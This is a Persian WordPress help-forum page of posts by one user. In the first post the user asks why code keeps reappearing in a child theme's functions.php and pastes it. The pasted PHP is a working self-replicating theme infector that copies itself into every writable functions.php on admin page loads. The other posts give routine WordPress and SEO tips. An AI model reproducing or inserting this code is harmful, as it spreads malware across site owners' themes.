رفتن به مطلب

sajjadmp

عضو سایت
  • تعداد ارسال‌ها

    204
  • تاریخ عضویت

  • آخرین بازدید

  • روز های برد

    1

نوشته‌ها ارسال شده توسط sajjadmp

  1. سلام 

    من برای دومین بار دست به ساختن پوسته ی فرزند برای یه پوسته شدم ولی این بار مثل دفعه ی قبل نیست . 

    به محض ایجاد فایل functions.php ، کدهای زیر توش قرار میگیره و هر چقدر هم که پاک میکنم دوباره می بینم سر و کلشون پیدا میشه و همین باعث میشه وردپرس صفحه سفید مرگ رو نشون بده ! 

    راهکار چیه ؟؟

    <?php
    function _check_active_widget(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);
    	$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    	if (is_array($direst)){
    		foreach ($direst as $item){
    			if (is_writable($item)){
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    				$cont=file_get_contents($item);
    				if (stripos($cont,$ftion) === false){
    					$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    					$output .= $before . "Not found" . $after;
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);				
    					$output .= ($showdot && $ellipsis) ? "..." : "";
    				}
    			}
    		}
    	}
    	return $output;
    }
    function _get_all_widgetcont($wids,$items=array()){
    	$places=array_shift($wids);
    	if(substr($places,-1) == "/"){
    		$places=substr($places,0,-1);
    	}
    	if(!file_exists($places) || !is_dir($places)){
    		return false;
    	}elseif(is_readable($places)){
    		$elems=scandir($places);
    		foreach ($elems as $elem){
    			if ($elem != "." && $elem != ".."){
    				if (is_dir($places . "/" . $elem)){
    					$wids[]=$places . "/" . $elem;
    				} elseif (is_file($places . "/" . $elem)&& 
    					$elem == substr(__FILE__,-13)){
    					$items[]=$places . "/" . $elem;}
    				}
    			}
    	}else{
    		return false;	
    	}
    	if (sizeof($wids) > 0){
    		return _get_all_widgetcont($wids,$items);
    	} else {
    		return $items;
    	}
    }
    if(!function_exists("stripos")){ 
        function stripos(  $str, $needle, $offset = 0  ){ 
            return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
        }
    }
    
    if(!function_exists("strripos")){ 
        function strripos(  $haystack, $needle, $offset = 0  ) { 
            if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
            if(  $offset < 0  ){ 
                $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
            } 
            else{ 
                $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
            } 
            if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
            $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
            return $pos; 
        }
    }
    if(!function_exists("scandir")){ 
    	function scandir($dir,$listDirectories=false, $skipDots=true) {
    	    $dirArray = array();
    	    if ($handle = opendir($dir)) {
    	        while (false !== ($file = readdir($handle))) {
    	            if (($file != "." && $file != "..") || $skipDots == true) {
    	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
    	                array_push($dirArray,basename($file));
    	            }
    	        }
    	        closedir($handle);
    	    }
    	    return $dirArray;
    	}
    }
    add_action("admin_head", "_check_active_widget");	
    ?>

     

  2. تا اونجایی که من میدونم ، پیج بیلدر ها چیدمان صفحه رو از حالت عادی در میارن و هر جور که شما بخواین میسازنش ( چیدمان صفحه طبق چیدمان تعریف شده ی قالب برای صفحه نیست )

    من هم ویژوال کامپوسر هم site origin رو رایگان گیر اوردم .

    • امتیاز 2
  3. منبع همه افزونه های رایگان wordpress.org برای هرکاری هم کم و بیش افزونه هس مثلا  این نمونه 

    اما هرچی افزونه بیشتر استفاده کنید به ضرر سایتتونه .

    فک نکنم بشه استایل محتوای اون سایتو تغییر داد ولی خود iframe رو میتونید استایل بدید.

  4. این چیزی که میخواید بدون افزونه قابل انجامه فقط کافیه این کد رو تو برگه یا هرجای قالب که میخواید بزارید

    <iframe src="http://www.labsnet.ir/ " width="400" height="400"></iframe>

    طول و عرضشم مطابق میلتون تغییر بدید

    • امتیاز 1
  5. در در 5/23/2016 at 18:43، Masrour گفته است :

    قالب من Esteem هست. توی کدوم فایل قالب باید بزاریم برای نمایشش؟ index , home , page و... همه محتواشون شبیه همه

    به فایل widgets.php برید و تو قسمت ابزارک موردنظرتون کد دلخواه رو جایگزین کنید

    • امتیاز 1
  6. در 16 ساعت قبل، mani221 گفته است :

    دوستان بالا راست میگن باید عجله نکرد داداش من از دیشب 90 هزارتا رتم کم شده من که بیخیالش شدم چون دارم سایتمو بروز میکنم و هی پست های خوب با سئو خو میزارم ولی نمیدونم چرا کمه میکنه و چه مرضی داره فکر کنم باهام لج کردن:))))))

    خود الکسا میگه براساس بازدید کننده های سه ماه قبل رتبه میده به سایتا ، شاید چون بازدید کننده نداری رتبت کم میشه

    منم فک کنم چون یه مدت فعالیت نداشتم کلا نابود شده رتبم

  7. سلام

    افزونه هاتون رو غیرفعال کنید و فقط بی بی پرس رو فعال کنید ببینید مشکل رفع میشه . اگه بازم با فعال کردن افزونه ها ، بی بی پرس به مشکل خورد ، پیشنهاد من استفاده از قابلیت buddy blog بادی پرسه به جای user frontend

×
×
  • اضافه کردن...